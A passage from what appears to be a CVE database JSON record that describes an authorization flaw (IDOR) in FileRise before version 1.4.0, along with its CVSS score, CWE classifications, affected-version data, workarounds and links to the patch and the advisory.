Prior to version 1.4.0, a business logic flaw in FileRise’s file/folder handling allows low-privilege users to perform unauthorized operations (view/delete/modify) on files created by other users. The root cause was inferring ownership/visibility from folder names (e.g., a folder named after a username) and missing server-side authorization/ownership checks across file operation endpoints. This amounted to an IDOR pattern: an attacker could operate on resources identified only by predictable names. This issue has been patched in version 1.4.0 and further hardened in version 1.5.0. A workaround for this issue involves restricting non-admin users to read-only or disable delete/rename APIs server-side, avoid creating top-level folders named after other usernames, and adding server-side checks that verify ownership before delete/rename/move."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-280"}, {"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:filerise:filerise:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.0", "matchCriteriaId": "EED17D45-FE5D-43CE-ACC5-9DB2CD983F08"}]}]}], "references": [{"url": "https://github.com/error311/FileRise/commit/25ce6a76beb60950359c0304765ad91a8aff8ad8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/error311/FileRise/issues/53", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/error311/FileRise/security/advisories/GHSA-6p87-q9rh-95wh", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}
